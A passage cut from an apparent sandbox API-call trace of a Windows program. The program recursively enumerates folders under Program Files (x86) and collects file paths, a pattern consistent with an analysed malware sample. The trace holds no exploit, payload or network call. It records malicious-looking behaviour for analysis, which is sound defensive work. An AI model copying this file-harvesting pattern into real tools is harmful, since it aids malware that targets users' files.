shared\\") returned 53 [0118.414] lstrlenW (lpString="MSEnv") returned 5 [0118.414] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="MSEnv" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv" [0118.414] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.414] lstrcmpW (lpString1="MSInfo", lpString2=".") returned 1 [0118.414] lstrcmpW (lpString1="MSInfo", lpString2="..") returned 1 [0118.414] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0118.414] lstrlenW (lpString="MSInfo") returned 6 [0118.414] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="MSInfo" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo" [0118.414] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.414] lstrcmpW (lpString1="OfficeSoftwareProtectionPlatform", lpString2=".") returned 1 [0118.414] lstrcmpW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="..") returned 1 [0118.414] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0118.414] lstrlenW (lpString="OfficeSoftwareProtectionPlatform") returned 32 [0118.414] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="OfficeSoftwareProtectionPlatform" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform" [0118.414] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.415] lstrcmpW (lpString1="Stationery", lpString2=".") returned 1 [0118.415] lstrcmpW (lpString1="Stationery", lpString2="..") returned 1 [0118.415] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0118.415] lstrlenW (lpString="Stationery") returned 10 [0118.415] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="Stationery" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery" [0118.415] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.415] lstrcmpW (lpString1="TextConv", lpString2=".") returned 1 [0118.415] lstrcmpW (lpString1="TextConv", lpString2="..") returned 1 [0118.415] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0118.415] lstrlenW (lpString="TextConv") returned 8 [0118.415] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="TextConv" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv" [0118.415] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.415] lstrcmpW (lpString1="Triedit", lpString2=".") returned 1 [0118.415] lstrcmpW (lpString1="Triedit", lpString2="..") returned 1 [0118.415] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0118.415] lstrlenW (lpString="Triedit") returned 7 [0118.415] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="Triedit" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit" [0118.415] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.415] lstrcmpW (lpString1="VC", lpString2=".") returned 1 [0118.415] lstrcmpW (lpString1="VC", lpString2="..") returned 1 [0118.415] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0118.415] lstrlenW (lpString="VC") returned 2 [0118.415] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="VC" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VC") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VC" [0118.415] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.415] lstrcmpW (lpString1="VGX", lpString2=".") returned 1 [0118.415] lstrcmpW (lpString1="VGX", lpString2="..") returned 1 [0118.415] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0118.415] lstrlenW (lpString="VGX") returned 3 [0118.415] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="VGX" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX" [0118.415] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.415] lstrcmpW (lpString1="VSTA", lpString2=".") returned 1 [0118.415] lstrcmpW (lpString1="VSTA", lpString2="..") returned 1 [0118.415] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0118.415] lstrlenW (lpString="VSTA") returned 4 [0118.415] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="VSTA" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA" [0118.415] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.415] lstrcmpW (lpString1="VSTO", lpString2=".") returned 1 [0118.415] lstrcmpW (lpString1="VSTO", lpString2="..") returned 1 [0118.415] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0118.415] lstrlenW (lpString="VSTO") returned 4 [0118.415] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="VSTO" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO" [0118.415] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0118.415] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0118.416] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.416] lstrcmpW (lpString1="Services", lpString2=".") returned 1 [0118.416] lstrcmpW (lpString1="Services", lpString2="..") returned 1 [0118.416] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0118.416] lstrlenW (lpString="Services") returned 8 [0118.416] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="Services" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services") returned="c:\\Program Files (x86)\\Common Files\\Services" [0118.416] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Services", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\") returned="c:\\Program Files (x86)\\Common Files\\Services\\" [0118.416] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Services\\") returned 45 [0118.416] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\*") returned="c:\\Program Files (x86)\\Common Files\\Services\\*" [0118.416] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\Services\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0118.458] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.458] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.458] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.458] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.458] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.458] lstrcmpW (lpString1="verisign.bmp", lpString2=".") returned 1 [0118.458] lstrcmpW (lpString1="verisign.bmp", lpString2="..") returned 1 [0118.458] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Services\\") returned 45 [0118.458] lstrlenW (lpString="verisign.bmp") returned 12 [0118.458] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\", lpString2="verisign.bmp" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp") returned="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" [0118.458] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp") returned 57 [0118.458] lstrcpyW (in: lpString1=0x5bf778, lpString2="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp") returned="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" [0118.459] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0118.459] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0118.459] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.459] lstrcmpW (lpString1="SpeechEngines", lpString2=".") returned 1 [0118.459] lstrcmpW (lpString1="SpeechEngines", lpString2="..") returned 1 [0118.459] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0118.459] lstrlenW (lpString="SpeechEngines") returned 13 [0118.459] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="SpeechEngines" | out: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines") returned="c:\\Program Files (x86)\\Common Files\\SpeechEngines" [0118.459] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\") returned="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\" [0118.459] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\") returned 50 [0118.459] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\*") returned="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\*" [0118.459] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0118.459] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.459] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.459] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.459] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.459] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.459] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0118.459] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0118.459] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\") returned 50 [0118.459] lstrlenW (lpString="Microsoft") returned 9 [0118.459] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\", lpString2="Microsoft" | out: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft") returned="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft" [0118.459] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0118.459] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0118.459] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.459] lstrcmpW (lpString1="System", lpString2=".") returned 1 [0118.459] lstrcmpW (lpString1="System", lpString2="..") returned 1 [0118.459] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0118.459] lstrlenW (lpString="System") returned 6 [0118.459] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="System" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System") returned="c:\\Program Files (x86)\\Common Files\\System" [0118.459] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\") returned="c:\\Program Files (x86)\\Common Files\\System\\" [0118.459] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0118.459] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\*") returned="c:\\Program Files (x86)\\Common Files\\System\\*" [0118.459] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\System\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0118.601] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.601] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.601] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.601] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.601] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.601] lstrcmpW (lpString1="ado", lpString2=".") returned 1 [0118.601] lstrcmpW (lpString1="ado", lpString2="..") returned 1 [0118.601] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0118.601] lstrlenW (lpString="ado") returned 3 [0118.601] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="ado" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\ado") returned="c:\\Program Files (x86)\\Common Files\\System\\ado" [0118.601] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.601] lstrcmpW (lpString1="DirectDB.dll", lpString2=".") returned 1 [0118.601] lstrcmpW (lpString1="DirectDB.dll", lpString2="..") returned 1 [0118.602] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0118.602] lstrlenW (lpString="DirectDB.dll") returned 12 [0118.602] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="DirectDB.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll" [0118.602] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll") returned 55 [0118.602] lstrcpyW (in: lpString1=0x24a02b8, lpString2="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll" [0118.602] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.602] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0118.602] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0118.602] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0118.602] lstrlenW (lpString="en-US") returned 5 [0118.602] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\en-US") returned="c:\\Program Files (x86)\\Common Files\\System\\en-US" [0118.602] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.602] lstrcmpW (lpString1="msadc", lpString2=".") returned 1 [0118.602] lstrcmpW (lpString1="msadc", lpString2="..") returned 1 [0118.602] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0118.602] lstrlenW (lpString="msadc") returned 5 [0118.602] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="msadc" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\msadc") returned="c:\\Program Files (x86)\\Common Files\\System\\msadc" [0118.602] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.602] lstrcmpW (lpString1="Ole DB", lpString2=".") returned 1 [0118.602] lstrcmpW (lpString1="Ole DB", lpString2="..") returned 1 [0118.602] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0118.602] lstrlenW (lpString="Ole DB") returned 6 [0118.602] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="Ole DB" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\Ole DB") returned="c:\\Program Files (x86)\\Common Files\\System\\Ole DB" [0118.602] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.602] lstrcmpW (lpString1="wab32.dll", lpString2=".") returned 1 [0118.602] lstrcmpW (lpString1="wab32.dll", lpString2="..") returned 1 [0118.602] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0118.602] lstrlenW (lpString="wab32.dll") returned 9 [0118.602] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="wab32.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll" [0118.602] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll") returned 52 [0118.602] lstrcpyW (in: lpString1=0x24a0330, lpString2="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll" [0118.602] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.602] lstrcmpW (lpString1="wab32res.dll", lpString2=".") returned 1 [0118.602] lstrcmpW (lpString1="wab32res.dll", lpString2="..") returned 1 [0118.602] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0118.602] lstrlenW (lpString="wab32res.dll") returned 12 [0118.602] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="wab32res.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll" [0118.602] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll") returned 55 [0118.602] lstrcpyW (in: lpString1=0x24a03a8, lpString2="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll" [0118.602] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0118.602] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0118.603] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0118.603] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0118.603] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0118.603] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0118.603] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0118.603] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0118.603] lstrlenW (lpString="desktop.ini") returned 11 [0118.603] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="desktop.ini" | out: lpString1="c:\\Program Files (x86)\\desktop.ini") returned="c:\\Program Files (x86)\\desktop.ini" [0118.603] lstrlenW (lpString="c:\\Program Files (x86)\\desktop.ini") returned 34 [0118.603] lstrcpyW (in: lpString1=0x5bf7f8, lpString2="c:\\Program Files (x86)\\desktop.ini" | out: lpString1="c:\\Program Files (x86)\\desktop.ini") returned="c:\\Program Files (x86)\\desktop.ini" [0118.603] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0118.603] lstrcmpW (lpString1="Google", lpString2=".") returned 1 [0118.603] lstrcmpW (lpString1="Google", lpString2="..") returned 1 [0118.603] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0118.603] lstrlenW (lpString="Google") returned 6 [0118.603] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Google" | out: lpString1="c:\\Program Files (x86)\\Google") returned="c:\\Program Files (x86)\\Google" [0118.603] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Google\\") returned="c:\\Program Files (x86)\\Google\\" [0118.603] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\") returned 30 [0118.603] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Google\\*") returned="c:\\Program Files (x86)\\Google\\*" [0118.603] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Google\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0118.603] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.603] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.603] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.603] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.603] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.603] lstrcmpW (lpString1="Chrome", lpString2=".") returned 1 [0118.603] lstrcmpW (lpString1="Chrome", lpString2="..") returned 1 [0118.603] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\") returned 30 [0118.603] lstrlenW (lpString="Chrome") returned 6 [0118.603] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\", lpString2="Chrome" | out: lpString1="c:\\Program Files (x86)\\Google\\Chrome") returned="c:\\Program Files (x86)\\Google\\Chrome" [0118.603] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\Chrome", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\") returned="c:\\Program Files (x86)\\Google\\Chrome\\" [0118.603] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\Chrome\\") returned 37 [0118.603] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\*") returned="c:\\Program Files (x86)\\Google\\Chrome\\*" [0118.604] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Google\\Chrome\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0118.604] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.604] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.604] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.604] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.604] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.604] lstrcmpW (lpString1="Application", lpString2=".") returned 1 [0118.604] lstrcmpW (lpString1="Application", lpString2="..") returned 1 [0118.604] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\Chrome\\") returned 37 [0118.604] lstrlenW (lpString="Application") returned 11 [0118.604] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\", lpString2="Application" | out: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\Application") returned="c:\\Program Files (x86)\\Google\\Chrome\\Application" [0118.604] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0118.604] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0118.604] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.604] lstrcmpW (lpString1="CrashReports", lpString2=".") returned 1 [0118.604] lstrcmpW (lpString1="CrashReports", lpString2="..") returned 1 [0118.604] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\") returned 30 [0118.604] lstrlenW (lpString="CrashReports") returned 12 [0118.604] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\", lpString2="CrashReports" | out: lpString1="c:\\Program Files (x86)\\Google\\CrashReports") returned="c:\\Program Files (x86)\\Google\\CrashReports" [0118.604] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\CrashReports", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Google\\CrashReports\\") returned="c:\\Program Files (x86)\\Google\\CrashReports\\" [0118.604] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\CrashReports\\") returned 43 [0118.604] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\CrashReports\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Google\\CrashReports\\*") returned="c:\\Program Files (x86)\\Google\\CrashReports\\*" [0118.604] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Google\\CrashReports\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0118.604] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0118.604] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0118.604] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0118.604] lstrcmpW (lpString1="Internet Explorer", lpString2=".") returned 1 [0118.604] lstrcmpW (lpString1="Internet Explorer", lpString2="..") returned 1 [0118.604] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0118.604] lstrlenW (lpString="Internet Explorer") returned 17 [0118.604] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Internet Explorer" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer") returned="c:\\Program Files (x86)\\Internet Explorer" [0118.604] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\") returned="c:\\Program Files (x86)\\Internet Explorer\\" [0118.604] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0118.604] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\*") returned="c:\\Program Files (x86)\\Internet Explorer\\*" [0118.605] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Internet Explorer\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0118.605] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.605] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.605] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.605] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.605] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.605] lstrcmpW (lpString1="efforts-extreme-quantity-reproductive.exe", lpString2=".") returned 1 [0118.605] lstrcmpW (lpString1="efforts-extreme-quantity-reproductive.exe", lpString2="..") returned 1 [0118.605] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0118.605] lstrlenW (lpString="efforts-extreme-quantity-reproductive.exe") returned 41 [0118.605] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="efforts-extreme-quantity-reproductive.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe" [0118.605] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe") returned 82 [0118.605] lstrcpyW (in: lpString1=0x5bf848, lpString2="c:\\Program Files (x86)\\Internet 